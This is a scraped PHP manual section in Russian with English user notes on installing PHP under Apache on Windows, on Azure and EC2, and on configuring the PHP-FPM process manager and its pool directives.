LoadModule php5_module "C:/Program Files/PHP/php5apache2_2.dll"
PHPIniDir "C:/Program Files/PHP/"

While other users have disabled some or all of the MySQL extensions to prevent all three from running at the same time, I have all of them enabled. However, I do not have PostgreSQL, so I needed to comment out loading the php_pgsql.dll in my php.ini file, as follows:

;[PHP_PGSQL]
;extension=php_pgsql.dll

This stopped Apache from crashing and started successfully.
Michael 03-Mar-2010 09:48
The value for FcgidWrapper cannot contain spaces..

This won't work:
FcgidWrapper "c:/program files (x86)/php/php-cgi.exe" .php

But this will:
FcgidWrapper "c:/progra~2/php/php-cgi.exe" .php
Steve 23-Feb-2010 04:53
I also had a problem with the PHPIniDir declaration.  This is with Apache 2.2 on XP.  I had to include a final slash, as in PHPIniDir "C:\Program Files\php\".  Apache failed to start if I did not include the slash after php.
Anonymous 10-Dec-2009 01:25
If anybody here encounters an error regarding PHPIniDir, change PHPIniDir "C:/php/" to PHPIniDir "C:\php\".
nicolas dot grasset at gmail dot com 07-Jul-2009 10:08
Here is how I created a silent install for Apache2.2 and PHP5.2.10 on Windows XP (running on a MacBook Pro):

Download Apache2 and PHP5 installer files in a directory and update the msi file names in the following commands.

To have PHP installer find Apache2, do not forget APACHEDIR!

msiexec /i apache_2.2.11-win32-x86-no_ssl.msi /passive ALLUSERS=1 SERVERADMIN=admin@localhost SERVERNAME=localhost SERVERDOMAIN=localhost SERVERPORT=80 INSTALLDIR=c:\apache
msiexec /i php-5.2.10-win32-installer.msi /qn APACHEDIR=c:\apache INSTALLDIR=c:\php ADDLOCAL=ext_php_mssql,apache22
net stop "Apache2.2"
net start "Apache2.2"
Anonymous 26-Feb-2009 06:32
i followed henke37's way to for the httpd.conf

I added all this at the very end of httpd.conf

# For PHP 5
#load the php main library to avoid dll hell
Loadfile "C:\php-5.2.8-Win32\php5ts.dll"

#load the sapi so that apache can use php
LoadModule php5_module "C:\php-5.2.8-Win32\php5apache2_2.dll"

#set the php.ini location so that you don't have to waste time guessing where it is
PHPIniDir "C:\php-5.2.8-Win32"

#Hook the php file extensions
AddHandler application/x-httpd-php .php
AddHandler application/x-httpd-php-source .phps

Also i didn't use short open tags as they are disabled in
"php.ini-recommended" if you don't change anything
So use this to test
<?php
 phpinfo();
?>
NOT
<? phpinfo(); ?> short open tags

added my php directory to the PATH system variable and i start apache manually not as a service

It works for me hope it helps you!
mjm at alum dot mit dot edu 26-Jan-2008 08:33
If you use the PHP 5 installer, you'll notice that it uses the wrong type of slash on Windows!

Change C:/Program Files/PHP/" to C:\Program Files\PHP\" and everything works great!
packard_bell_nec at hotmail dot com 02-Oct-2007 08:24
If you install PHP as an Apache CGI binary, you can add:
AddHandler cgi-script .php
into Apache httpd.conf, and add shebang line to every PHP scripts like:
#!php
<?php
phpinfo();
?>
. But adding shebang line has a disadvantage that if you decided to install PHP as an Apache module afterwards, then the shebang line WILL appear in the web page.
In fact, you do NOT need to add shebang line to every PHP script even if you install PHP as an Apache CGI binary, because you can add:
ScriptInterpreterSource Registry-Strict
into Apache httpd.conf, and make the registry file and merge it like:
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\.php\Shell\ExecCGI\Command]
@="\"C:\\Program Files\\PHP\\php-cgi.exe\""
. Then you will NOT need to change the PHP scripts which do not contain shebang line.


Стандартные проблемы PHP под Windows

Проверка прав на временную директорию

  1. В Проводнике нажмите правой кнопкой мыши на временной директории, выберите пункт "Свойства" и перейдите в закладку "Доступ".

  2. Для IIS, проверьте, что пользователь IIS_User имеет права на изменение для этой директории. Путь временной директории можно посмотреть в файле php.ini.

User Contributed Notes

There are no user contributed notes for this page.


Установка на платформах Cloud Computing

Содержание

  • Azure App Services
  • Amazon EC2

PHP устанавливается на облачных платформах.

User Contributed Notes

There are no user contributed notes for this page.


Azure App Services

PHP часто устанавливается на облачный сервис Azure App Services (также известный как Microsoft Azure, Windows Azure и Azure Web Apps).

Azure App Services управляет пулом Windows Web Servers для хостинга ваших веб-приложений и представляет альтернативу созданию собственного веб-сервера на собственном Azure Compute VMs и других платформах.

PHP по умолчанию доступен для вашего веб-сайта в Azure App Services. Просто выберите на Azure Portal ваш сайт и выберите нужную версию PHP. Вы можете выбрать более свежую версию, чем заданная по умолчанию.

Таким образом, PHP и его модули будут работать в Azure App Services так же как и на любом другом сервере Windows. Большая часть базы знаний также портирована, смотрите Windows Troubleshooting Page Тем не менее, интерфейс управления для Azure App Services имеет отличия:

  • Azure portal: создание, настройка и удаление сайтов. » Azure Portal

  • Панель Kudu: [имя вашего сайта].azurewebsites.net. Тогда панель Kudu » https://[имя вашего сайта].scm.azurewebsites.net/. Панель Kudu даёт вам доступ к некоторым возможностям отладки, управлению файлами и модулями сайта. Модули сайта - это механизм Azure по добавлению программ, например превью сборок PHP, на ваш сайт.

  • Вы не сможете использовать IIS Manager, Server Manager или RDP.

PHP SDK позволяет программно использовать множество Azure Services. Смотри » Azure SDK для PHP.

Для более подробной информации, смотри » Azure PHP Developer Center

WinCache

WinCache по умолчанию разрешён в Azure App Services и рекомендуется его не отключать. Если вы установили собственную сборку PHP, вы должны разрешить WinCache.

Собственные сборки PHP

Вы можете загрузить собственную сборку PHP в D:\Home (C:\ НЕ ДОСТУПЕН для записи). После чего, на Azure Portal, задайте SCRIPT_PROCESSOR для .php равный абсолютному пути к php-cgi.exe из вашей сборки.

User Contributed Notes

There are no user contributed notes for this page.


Amazon EC2

PHP устанавливается на » облачную платформу EC2.

Смотрите также » AWS SDK для PHP.

User Contributed Notes

There are no user contributed notes for this page.


Менеджер процессов FastCGI (FPM)

Содержание

  • Установка
  • Настройка

FPM (FastCGI Process Manager, менеджер процессов FastCGI) является альтернативной реализацией PHP FastCGI с несколькими дополнительными возможностями обычно используемыми для высоконагруженных сайтов.

Эти возможности включают в себя:

  • Продвинутое управление процессами с корректной (graceful) процедурой остановки и запуска;

  • Пулы, дающие возможность запуска воркеров с разными uid/gid/chroot/окружением, прослушивая разные порты и используя разные php.ini (замещение safe_mode);

  • Настраиваемое ведение журнала потоков вывода (stdout) и ошибок (stderr);

  • Аварийный перезапуск в случае внезапного разрушения opcode-кеша;

  • Поддержка ускоренной загрузки (accelerated upload);

  • "slowlog" - логирование необычно медленно выполняющихся скриптов (не только их имена, но также и их трассировки. Это достигается с помощью ptrace и других подобных утилит для чтения данных исполнения удалённых процессов);

  • fastcgi_finish_request() - специальная функция для завершения запроса и сброса всех буферов данных, причём процесс может продолжать выполнение каких-либо длительных действий (конвертирование видео, обработка статистики и т.п.);

  • Динамическое/по требованию/статическое порождение дочерних процессов;

  • Базовая и расширенная информация о состоянии (аналогично Apache mod_status) с поддержкой различных форматов, таких как json, xml и openmetrics;

  • Конфигурационный файл, основанный на php.ini.

User Contributed Notes

&#34;atesin&#34; at the free google mail service 13-Oct-2023 03:13
in response to "dreamcat4 at gmail dot com" about enabling logs in php-fpm

i *hate* going blind, so enabling logs is generally the first thing i do...

by doing dreamcat4 suggestion, logs got enabled but mixed with php process logs ... instead doing that and to isolate logs from [www] worker pool in its own file, these directives worked for me in "www" worker .ini file (you have to set directories and permissions before)

php_admin_flag[log_errors] = on
php_admin_value[error_log] = /var/log/php-fpm/www-error.log
&#34;atesin&#34; at the free google mail service 13-Oct-2023 03:04
in response to "ikrabbe dot ask at gmail dot com" about SCRIPT_NAME and PATH_INFO being empty, this could be related...

while configuring php-fpm with nginx in debian (actually raspberry pi), a comment line in .conf grabbed my attention

there is a "feature" (that looks more like a bug) reported about 10 years ago in http://trac.nginx.org/nginx/ticket/321 ... in which "try_files" could reset the contents of $fastcgi_script_name and $fastcgi_path_info ... this is a workaround mentioned in forums by user "zakaria"

<?php /* not actual php code but nginx .conf */
location ~ [^/]\.php(/|$)
{
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
# Save the $fastcgi_path_info before try_files clear it
set $path_info $fastcgi_path_info;
fastcgi_param PATH_INFO $path_info;
try_files $fastcgi_script_name =404;

fastcgi_pass unix:/var/run/php5-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
}
?>
jpmkn.iki.fi 11-Jun-2023 09:56
@ ikrabbe you might want to look at mod_rewrite to address the environment variable variation(!) between cgi and cli php.
info at f1-outsourcing dot eu 08-Apr-2019 10:22
It looks like the php-fpm daemon is not able to use its groups it is running with.

https://bugs.php.net/bug.php?id=77837
ikrabbe dot ask at gmail dot com 28-Feb-2018 11:45
I'm very unhappy with the way php-fpm handles requests.
There isn't even some SCRIPT_FILENAME in the RFC for CGI, an that's the only standard I found to handle the requests.

Actually what you are doing with PATH_TRANSLATED is supposed to translate to the path, which is broken by media wikis, as they use the PATH_INFO to find the ressource, not some script.

In the original CGI context, the PATH_INFO is passed to the CGI binary to specify some ressource argument. So actually

    SCRIPT_NAME  ~ argv0
    PATH_INFO      ~ argv1

in command context.

Conclusion: We should rewrite php-fpm to obey the rfc3875 CGI standard.
Having SCRIPT_NAME pointing to /something.php, must translate to

    CWD/something.php

CWD is the working directory where php-fpm is started (or configured to change to).

In case of chroot CWD = "".

In any case the SCRIPT_NAME php script can be found with ./SCRIPT_NAME, from the CWD. So the undocumented not standardized SCRIPT_FILENAME should vanish! It breaks the CGI standard.
ganlvtech at qq dot com 21-Nov-2017 09:23
php-fpm is not avaliable on Windows, but you can use IIS or Apache as the "fastcgi process manager".

If you have to use Nginx, here is a solution. Nginx provides a load balancing module. We can distribute the request to different php-cgi.exe process.

<http://nginx.org/en/docs/http/load_balancing.html>
<http://nginx.org/en/docs/http/ngx_http_upstream_module.html>

This is the origin nginx conf.
```
location ~ \.php$ {
    try_files  $uri = 404;
    fastcgi_pass  127.0.0.1:9000;
    fastcgi_index  index.php;
    include  fastcgi.conf;
}
```

You can replace it by
```
upstream php {
    server  127.0.0.1:9000;
    server  127.0.0.1:9001;
    server  127.0.0.1:9002;
    server  127.0.0.1:9003;
}

location ~ \.php$ {
    try_files  $uri = 404;
    fastcgi_pass  php;
    fastcgi_index  index.php;
    include  fastcgi.conf;
}
```

CAUTION!!

php-cgi.exe process will die after several requests, so you have to restart the php-cgi.exe manually to keep a process listening the port.

DON'T USE THIS SOLUTION IN PRODUCTION!!
user at NOSPAM dot example dot com 04-Oct-2017 06:15
It is important to note that FPM is not built with the windows binaries.  Many of the guides you may find online rely on php-cgi.exe.  Unfortunately they call it FPM but this is incorrect!

The executable php-cgi.exe that is bundled with the windows binaries is a FastCGI interface but it is *not* FPM (Fastcgi Process Manager).  php-cgi.exe does not have multi-threading or concurrent request support, nor support for any of the FPM configuration options.

The only solid information I've gathered into why FPM is not available is a bug report explaining that FPM is built around fork(), which is not natively available on windows (https://bugs.php.net/bug.php?id=62447).
dreamcat4 at gmail dot com 16-May-2014 03:17
Doesn't work? Enable logging!

The php-fpm.log file is a great place to fault-find errors and get to the bottom of a problem. But be sure to enable logging for your specific worker pool. Or you won't see anything!

Example:

To enable error logging for the default [www] worker pool, add this line in the [www] section of your php-fpm.conf:

[www]
catch_workers_output = yes
kokushibyou at gmail dot com 25-Apr-2013 10:04
PHP-FPM is FAST - but be wary of using it while your code base is stored on NFS - under average load your NFS server will feel some serious strain. I have yet to find a work around for this bug: https://bugs.php.net/bug.php?id=52312
joel k 30-Jun-2011 12:56
the fpm process supports the USER2 signal, which is used to reload the config file.

kill -USR2 [pid]

should do the trick.
robin at robinwinslow dot co dot uk 12-Dec-2010 10:05
Init script setup
===

You will probably want to create an init script for your new php-fpm. Fortunately, PHP 5.3.3 provides one for you, which you should copy to your init directory and change permissions:

$ cp <php-5.3.3-source-dir>/sapi/fpm/init.d.php-fpm.in /etc/init.d/php-fpm
$ chmod 755 /etc/init.d/php-fpm

It requires a certain amount of setup. First of all, make sure your php-fpm.conf file is set up to  create a PID file when php-fpm starts. E.g.:
----
pid = /var/run/php-fpm.pid
----
(also make sure your php-fpm user has permission to create this file).

Now open up your new init script (/etc/init.d/php-fpm) and set the variables at the top to their relevant values. E.g.:
---
prefix=
exec_prefix=
php_fpm_BIN=/sbin/php-fpm
php_fpm_CONF=/etc/php-fpm.conf
php_fpm_PID=/var/run/php-fpm.pid
---

Your init script is now ready. You should now be able to start, stop and reload php-fpm:

$ /etc/init.d/php-fpm start
$ /etc/init.d/php-fpm stop
$ /etc/init.d/php-fpm reload

The one remaining thing you may wish to do is to add your new php-fpm init script to system start-up. E.g. in CentOS:

$ /sbin/chkconfig php-fpm on

===========

Disclaimer: Although I did just do this on my own server about 20 mins ago, everything I've written here is off the top of my head, so it may not be 100% correct. Also, allow for differences in system setup. Some understanding of what you are doing is assumed.


Установка

Компиляция из исходников

Для того, чтобы включить FPM при сборке PHP, добавьте строку --enable-fpm

Существуют также несколько других опций конфигурации FPM (все опциональны):

  • --with-fpm-user - установить пользователя FPM (по умолчанию - nobody).

  • --with-fpm-group - установить группу FPM (по умолчанию - nobody).

  • --with-fpm-systemd - Включить интеграцию с systemd (по умолчанию - no).

  • --with-fpm-acl - Использовать списки управления доступом (ACL) POSIX (по умолчанию - no).

  • --with-fpm-apparmor - Активировать интеграцию с AppArmor (по умолчанию - no).

  • --with-fpm-selinux - Активировать интеграцию с SELinux (по умолчанию - no).

Список изменений

Версия | Описание
8.2.0 | Добавлена опция --with-fpm-selinux.
8.0.0 | Добавлена опция --with-fpm-apparmor.

User Contributed Notes

There are no user contributed notes for this page.


Настройка

FPM использует синтаксис php.ini для своего файла конфигурации php-fpm.conf и файлов конфигурации пулов.

Список глобальных директив php-fpm.conf

pid string

Путь к PID-файлу. По умолчанию: none.

error_log string

Путь к файлу журнала ошибок. По умолчанию: #INSTALL_PREFIX#/log/php-fpm.log. Если задано как "syslog", логирование будет производиться в syslogd, а не в локальный файл.

log_level string

Уровень журналирования ошибок. Возможные значения: alert, error, warning, notice, debug. По умолчанию: notice.

log_limit int

Ограничить журналирование для журналируемых линиях, что позволяет записывать сообщения длиной более 1024 символов без упаковки (wrapping). Значение по умолчанию: 1024. Доступно с PHP 7.3.0.

log_buffering bool

Экспериментальное журналирование без дополнительной буферизации. Значение по умолчанию: yes. Доступно с PHP 7.3.0.

syslog.facility string

Используется для указания, какой тип программ будет логировать сообщения. По умолчанию: daemon.

syslog.ident string

Предшествует любому сообщению. Если у вас запущено несколько экземпляры FPM, вы можете изменить значение по умолчанию на то, которое вам необходимо. По умолчанию: php-fpm.

emergency_restart_threshold int

При данном числе рабочих процессов, завершённых с SIGSEGV или SIGBUS за промежуток времени, установленный emergency_restart_interval FPM будет перезагружен. Значение 0 означает 'Off' (отключено). По умолчанию: 0 (Off).

emergency_restart_interval mixed

Интервал времени, используемый emergency_restart_interval, чтобы определить, когда FPM будет мягко перезагружен. Это полезно для избежания случайных повреждений общей памяти ускорителя (accelerator). Доступные единицы измерения: s(секунды), m(минуты), h(часы), или d(дни). Единица измерения по умолчанию: секунды. Значение по умолчанию: 0 (Off).

process_control_timeout mixed

Время, в течение которого дочерние процессы ждут ответа на сигналы мастер-процессу. Доступные единицы измерения: s(секунды), m(минуты), h(часы) или d(дни). Единица измерения по умолчанию: секунды. Значение по умолчанию: 0.

process.max int

Максимальное количество процессов, которое может породить FPM. Это сделано для того, чтобы контролировать глобальное количество процессов, когда используется большой пул динамического PM. Используйте с осторожностью. По умолчанию: 0.

process.priority int

Указывает приоритет (Unix nice(2)) мастер-процесса (только если установлено). Принимает значения от -19(максимальный приоритет) до 20(минимальный.) По умолчанию: не установлено.

daemonize bool

Запустить FPM в фоновом режиме. Установите значение 'no', чтобы запустить FPM в диспетчере для отладки. По умолчанию: yes.

rlimit_files int

Устанавливает rlimit открытых файловых дескрипторов для мастер-процесса. По умолчанию: Значение, определённое системой.

rlimit_core int

Устанавливает rlimit максимального размера ядра для мастер-процесса. По умолчанию 0.

events.mechanism string

Указывает, какой событийный механизм будет использован FPM. Возможны такие варианты: select, pool, epoll, kqueue (*BSD), port (Solaris). По умолчанию: не установлено (автоопределение).

systemd_interval int

Если FPM собран с интеграцией с systemd, указывает интервал, в секундах, между оповещениями systemd о своём состоянии. Для отключения задайте 0. По умолчанию: 10.

Список директив для пулов.

С помощью FPM вы можете запускать несколько пулов процессов с различными настройками. Эти параметры могут быть переданы пулу.

listen string

Адрес, который будет принимать FastCGI-запросы. Синтаксис: 'ip.add.re.ss:port', 'port', '/path/to/unix/socket'. Эта опция обязательна для каждого пула.

listen.backlog int

Устанавливает listen(2) backlog. Значение -1 означает максимум на системах BSD. Значение по умолчанию: -1 (FreeBSD или OpenBSD) или 511. (Linux и другие платформы).

listen.allowed_clients string

Список адресов IPv4 или IPv6 клиентов FastCGI, которым разрешено подключение. Эквивалент переменной окружения FCGI_WEB_SERVER_ADDRS в оригинальном PHP FastCGI (5.2.2+). Имеет смысл только с TCP-сокетом. Каждый адрес должен быть разделён запятой. Если оставить это значение пустым, соединения будут приниматься с любого IP-адреса. Значение по умолчанию: не задано (принимается любой ip-адрес).

listen.owner string

Задаёт права для unix-сокета, если они используются. В Linux для разрешения соединений к веб-серверу, должны быть установлены права на чтение/запись. Во многих основанных на BSD-системах возможность соединения не зависит от прав доступа. Значение по умолчанию: используется пользователь и группа, от имени которого запущен сервер, установлен режим 0660.

listen.group string

Смотрите listen.owner.

listen.mode string

Смотрите listen.owner.

listen.acl_users string

Если поддерживается список управления доступом (ACL) POSIX, вы можете настроить его с помощью этой опции. Если задано, то listen.owner и listen.group будут проигнорированы. Значение задаётся списком имён, разделённых запятой.

listen.acl_groups string

Смотрите listen.acl_users. Значение задаётся списком имён групп, разделённых запятой.

user string

Unix-пользователь FPM-процессов. Этот параметр является обязательным.

group string

Unix-группа FPM-процессов. Если не установлен, группа по умолчанию равняется имени пользователя.

pm string

Выбор того, как менеджер процессов будет контролировать создание дочерних процессов. Возможные значения: static, ondemand, dynamic. Этот параметр является обязательным.

static - фиксированное число дочерних процессов (pm.max_children).

ondemand - число процессов, порождающихся по требованию (когда появляются запросы, в отличие от опции dynamic, когда стартует определённое количество процессов, равное pm.start_servers, вместе с запуском службы.

dynamic - динамически изменяющееся число дочерних процессов, задаётся на основании следующих директив: pm.max_children, pm.start_servers, pm.min_spare_servers, pm.max_spare_servers.

pm.max_children int

Число дочерних процессов, которые будут созданы, когда pm установлен в static, или же максимальное число процессов, которые будут созданы, когда pm установлен в dynamic. Этот параметр является обязательным.

Этот параметр устанавливает ограничение на число одновременных запросов, которые будут обслуживаться. Эквивалент директивы ApacheMaxClients с mpm_prefork и переменной окружения среды PHP_FCGI_CHILDREN в в оригинальном PHP FastCGI.

pm.start_servers int

Число дочерних процессов, создаваемых при запуске. Используется, только когда pm установлен в dynamic. Значение по умолчанию: min_spare_servers + (max_spare_servers - min_spare_servers) / 2.

pm.min_spare_servers int

Желаемое минимальное число неактивных процессов сервера. Используется, только когда pm установлено в dynamic. Кроме того, это обязательный параметр в этом случае.

pm.max_spare_servers int

Желаемое максимальное число неактивных процессов сервера. Используется, только когда pm установлен в dynamic. Кроме того, это обязательный параметр в этом случае.

pm.max_spawn_rate int

Количество одновременных порождений дочерних процессов. Используется только тогда, когда у параметра pm установлено значение dynamic. Значение по умолчанию: 32

pm.process_idle_timeout mixed

Число секунд, по истечению которых простаивающий процесс будет завершён. Используется только если pm установлено как ondemand. Допустимые единицы: s(econds)(по умолчанию), m(inutes), h(ours) или d(ays). По умолчанию: 10s.

pm.max_requests int

Число запросов дочернего процесса, после которого процесс будет перезапущен. Это полезно для избежания утечек памяти при использовании сторонних библиотек. Для бесконечной обработки запросов укажите '0'. Эквивалент PHP_FCGI_MAX_REQUESTS. Значение по умолчанию: 0.

pm.status_listen string

Адрес, по которому будет приниматься запрос состояния FastCGI. Создаёт новый невидимый пул, который может независимо обрабатывать запросы. Полезно, если основной пул занят долго выполняющимися запросами, так как всё ещё можно получить страницу состояния FPM до завершения долго выполняющихся запросов. Синтаксис такой же, как и для директивы listen. Значение по умолчанию: none.

pm.status_path string

Ссылка, по которой можно посмотреть страницу состояния FPM. Значение должно начинаться со слеша (/). Если значение не установлено, то страница статуса отображаться не будет. Значение по умолчанию: none.

ping.path string

Ссылка на ping-страницу мониторинга FPM. Если значение не установлено, ping-страница отображаться не будет. Может быть использовано для тестирования извне, чтобы убедиться, что FPM жив и отвечает. Обратите внимание, что значение должно начинаться с косой черты (/).

ping.response string

Эта директива может быть использована на настройки ответа на ping-запрос. Ответ формируется как text/plain со кодом ответа 200. Значение по умолчанию: pong.

process.priority int

Задаёт приоритет nice(2) для работающего процесса (только если задан). Значение от -19 (высший приоритет) до 20 (самый низкий). Значение по умолчанию: не задано.

process.dumpable bool

Установить флаг процесса dumpable (PR_SET_DUMPABLE prctl), даже если the пользователь процесса или группа отличается от пользователя мастер-процесса. Это позволяет создавать дамп ядра процесса и выполнить ptrace процесса для пользователя пула. Значение по умолчанию: no. Доступно с PHP 7.0.29, 7.1.17 и 7.2.5.

prefix string

Задаёт префикс для вычисления пути

request_terminate_timeout mixed

Время ожидания обслуживания одного запроса, после чего рабочий процесс будет завершён. Этот вариант следует использовать, когда опция 'max_execution_time' в php.ini не останавливает выполнение скрипта по каким-то причинам. Значение '0' означает 'выключено'. Доступные единицы измерения: s(econds), m(inutes), h(ours) или d(ays). Значение по умолчанию: 0.

request_terminate_timeout_track_finished bool

Время ожидания, установленное с помощью request_terminate_timeout, не включается после fastcgi_finish_request или когда приложение завершено и вызываются внутренние функции завершения работы. Эта директива позволит безоговорочно применять ограничение времени ожидания даже в таких случаях. Значение по умолчанию: нет, начиная с версии PHP 7.3.0.

request_slowlog_timeout mixed

Время ожидания обслуживания одного запроса, после чего PHP backtrace будет сохранён в файл 'slowlog'. Значение '0' означает 'выключено'. Доступные единицы измерения: s(econds), m(inutes), h(ours) или d(ays). Значение по умолчанию: 0.

request_slowlog_trace_depth int

Глубина трассировки стека журнала slowlog. Значение по умолчанию: 20, начиная с PHP 7.2.0.

slowlog string

Лог-файл для медленных запросов. Значение по умолчанию: #INSTALL_PREFIX#/log/php-fpm.log.slow.

rlimit_files int

Устанавливает лимит дескрипторов открытых файлов rlimit для дочерних процессов в этом пуле. Значение по умолчанию: определяется значением системы.

rlimit_core int

Устанавливает максимальное количество используемых ядер rlimit для дочерних процессов в этом пуле. Возможные значения: 'unlimited' или целое число большее или равное 0. Значение по умолчанию: определяется значением системы.

chroot string

Директория chroot окружения при старте. Это значение должно быть определено как абсолютный путь. Если значение не установлено, chroot не используется.

chdir string

Chdir изменяет текущую директорию при старте. Это значение должно быть определено как абсолютный путь. Значение по умолчанию: текущая директория или / при использовании chroot.

catch_workers_output bool

Перенаправление STDOUT и STDERR рабочего процесса в главный лог ошибок. Если не установлен, STDOUT и STDERR будут перенаправлены в /dev/null в соответствии со спецификацией FastCGI. Значение по умолчанию: no.

decorate_workers_output bool

Включите оформление выхода (output decoration) для вывода worker-процесса когда опция catch_workers_output включена. Значение по умолчанию: yes. Доступно с PHP 7.3.0.

clear_env bool

Очищает окружение в worker-процессах FPM. Предотвращает попадание произвольных переменных окружения в worker-процессы FPM, очищая окружение у worker-процессах до того, как переменные окружения, указанные в этой конфигурации пула будут добавлены. По умолчанию: Yes.

security.limit_extensions string

Ограничивает модули, которые FPM будет анализировать. Это может предотвратить ошибки конфигурации на стороне веб-сервера. Вы должны ограничить FPM только расширениями .php для предотвращения выполнения PHP-кода злоумышленниками другими расширениями. По умолчанию: .php .phar

apparmor_hat string

Если AppArmor включён, позволяет изменить шапку. Значение по умолчанию: не установлено

access.log string

Лог-файл доступа. Значение по умолчанию: не установлено

access.format string

Формат лог-файла доступа. Значение по умолчанию: "%R - %u %t \"%m %r\" %s":

Допустимые значения
Заполнитель | Описание
%C | %CPU
%d | длительность µs
%e | fastcgi env
%f | скрипт
%l | длина содержимого
%m | метод
%M | память
%n | название пула
%o | вывод заголовка
%p | PID
%q | строка запроса
%Q | GLUE между %q и %r
%r | URI запроса
%R | удалённый IP-адрес
%s | статус
%T | время
%t | время
%u | удалённый пользователь

Можно передать дополнительные переменные окружения и обновить настройки PHP для определённого пула. Для этого вам необходимо добавить следующие параметры в файл настройки пула.

Пример #1 Передача переменных окружения и настроек PHP пулу

env[HOSTNAME] = $HOSTNAME
env[PATH] = /usr/local/bin:/usr/bin:/bin
env[TMP] = /tmp
env[TMPDIR] = /tmp
env[TEMP] = /tmp

php_admin_value[sendmail_path] = /usr/sbin/sendmail -t -i -f www@my.domain.com
php_flag[display_errors] = off
php_admin_value[error_log] = /var/log/fpm-php.www.log
php_admin_flag[log_errors] = on
php_admin_value[memory_limit] = 32M
Настройки PHP, переданные через php_value или php_flag перезапишут их предыдущие значения. Пожалуйста, обратите внимание, что определения disable_functions или disable_classes не будут перезаписывать ранее определённые в php.ini значения, а добавят новые значения.

Настройки, определённые через php_admin_value и php_admin_flag, не могут быть перезаписаны через ini_set().

Настройки PHP можно устанавливать через веб-сервер.

Пример #2 Установка настроек PHP в nginx.conf

set $php_value "pcre.backtrack_limit=424242";
set $php_value "$php_value \n pcre.recursion_limit=99999";
fastcgi_param  PHP_VALUE $php_value;

fastcgi_param  PHP_ADMIN_VALUE "open_basedir=/var/www/htdocs";
Предостережение

Так как эти настройки передаются в php-fpm как FastCGI-заголовки, php-fpm не должен быть привязан к общедоступному адресу из мира. В противном случае любой сможет изменить настройки PHP. Смотрите также listen.allowed_clients.

Замечание: Пулы не являются механизмом безопасности, потому что они не обеспечивают полного разделения; например все пулы будут использовать один экземпляр OPcache.

User Contributed Notes

jon dot phpnetdonotspam at langevin dot me 08-Dec-2022 10:44
PHP-FPM configuration page apparently doesn't see the need to specify what options are available with each version of PHP.

It claims that pm.status_listen is a valid directive, but that directive only exists as of php 8.0.0, which is a bummer for those of us still using PHP 7.4.

Noting this for anyone else fighting with this.
antonfedonyuk at gmail dot com 13-Sep-2021 10:01
; The access log format.
; The following syntax is allowed
;  %%: the '%' character
;  %C: %CPU used by the request
;      it can accept the following format:
;      - %{user}C for user CPU only
;      - %{system}C for system CPU only
;      - %{total}C  for user + system CPU (default)
;  %d: time taken to serve the request
;      it can accept the following format:
;      - %{seconds}d (default)
;      - %{milliseconds}d
;      - %{milli}d
;      - %{microseconds}d
;      - %{micro}d
;  %e: an environment variable (same as $_ENV or $_SERVER)
;      it must be associated with embraces to specify the name of the env
;      variable. Some examples:
;      - server specifics like: %{REQUEST_METHOD}e or %{SERVER_PROTOCOL}e
;      - HTTP headers like: %{HTTP_HOST}e or %{HTTP_USER_AGENT}e
;  %f: script filename
;  %l: content-length of the request (for POST request only)
;  %m: request method
;  %M: peak of memory allocated by PHP
;      it can accept the following format:
;      - %{bytes}M (default)
;      - %{kilobytes}M
;      - %{kilo}M
;      - %{megabytes}M
;      - %{mega}M
;  %n: pool name
;  %o: output header
;      it must be associated with embraces to specify the name of the header:
;      - %{Content-Type}o
;      - %{X-Powered-By}o
;      - %{Transfert-Encoding}o
;      - ....
;  %p: PID of the child that serviced the request
;  %P: PID of the parent of the child that serviced the request
;  %q: the query string
;  %Q: the '?' character if query string exists
;  %r: the request URI (without the query string, see %q and %Q)
;  %R: remote IP address
;  %s: status (response code)
;  %t: server time the request was received
;      it can accept a strftime(3) format:
;      %d/%b/%Y:%H:%M:%S %z (default)
;      The strftime(3) format must be encapsulated in a %{<strftime_format>}t tag
;      e.g. for a ISO8601 formatted timestring, use: %{%Y-%m-%dT%H:%M:%S%z}t
;  %T: time the log has been written (the request has finished)
;      it can accept a strftime(3) format:
;      %d/%b/%Y:%H:%M:%S %z (default)
;      The strftime(3) format must be encapsulated in a %{<strftime_format>}t tag
;      e.g. for a ISO8601 formatted timestring, use: %{%Y-%m-%dT%H:%M:%S%z}t
;  %u: remote user
;
; Default: "%R - %u %t \"%m %r\" %s"
access.format = "%R - %u %t \"%m %r%Q%q\" %s %f %{milli}d %{kilo}M %C%%"

https://github.com/php/php-src/blob/master/sapi/fpm/www.conf.in#L257-L318
antonfedonyuk at gmail dot com 13-Sep-2021 09:38
NOTE: "access.format" containing "%o" generate error in PHP 7.4 (don't tested in other versions)
rob at librobert dot net 18-Apr-2021 12:11
Correction for my previous note...

I wrote "The 'index' directive that is used in php-fpm.conf".

But obviously I meant "The 'include' directive"...
rob at librobert dot net 18-Apr-2021 11:53
The 'index' directive that is used in php-fpm.conf is not documented here. However, this directive can also be used in the pool configurations. In the included file, the $pool variable is substituted correctly.

This means that, if you have multiple pools with similar configurations, you can create a file 'default-values.inc' like so:

-----
listen.allowed_clients = 127.0.0.1

pm = dynamic
pm.max_children = X
pm.min_spare_servers = X
pm.max_spare_servers = X

access.log = /var/log/php-fpm/$pool.access
access.format = "%R %u [%t] \"%m %r\" %s %d %l"
slowlog = /var/log/php-fpm/$pool.slow

php_flag[short_open_tag] = off
-----

And then include that file in each pool configuration like so:

-----
[vhost1.example.com]
user = www-vhost1
group = www-vhost1

listen = 127.0.0.1:9001

include = /usr/local/etc/php-fpm.d/default-values.inc
-----

This makes things a bit more transparent, and it could potentially save some time if you decide to change settings.

Make sure the name of the included file does not end in '.conf', because all files with that extension are loaded from php-fpm.conf.
david dot cancalon at proxeem dot fr 09-Nov-2020 04:08
Be very carrefull when using ProxyFCGISetEnvIf within a Apache virtual host configuration using a shared PHP-FPM pool. Values defined like this are shared across all the Apache virtual hosts within a pool worker, may resulting in strange behaviours depending on the requests chronology.

See full explanation here:
https://serverfault.com/questions/817020/stop-reusing-php-value-for-different-sites-with-php-fpm/817905#817905
frederic at juliana-multimedia dot com 12-Nov-2018 01:21
With Apache, mod_proxy_fcgi and php-fpm, if you want to have a generic pool and several vhost with different php configuration, you can use the ProxyFCGISetEnvIf directive and the PHP_ADMIN_VALUE environment variable. It does not work with PHP_ADMIN_FLAG even for boolean directives.

PHP directives must be separated by spaces and a \n.

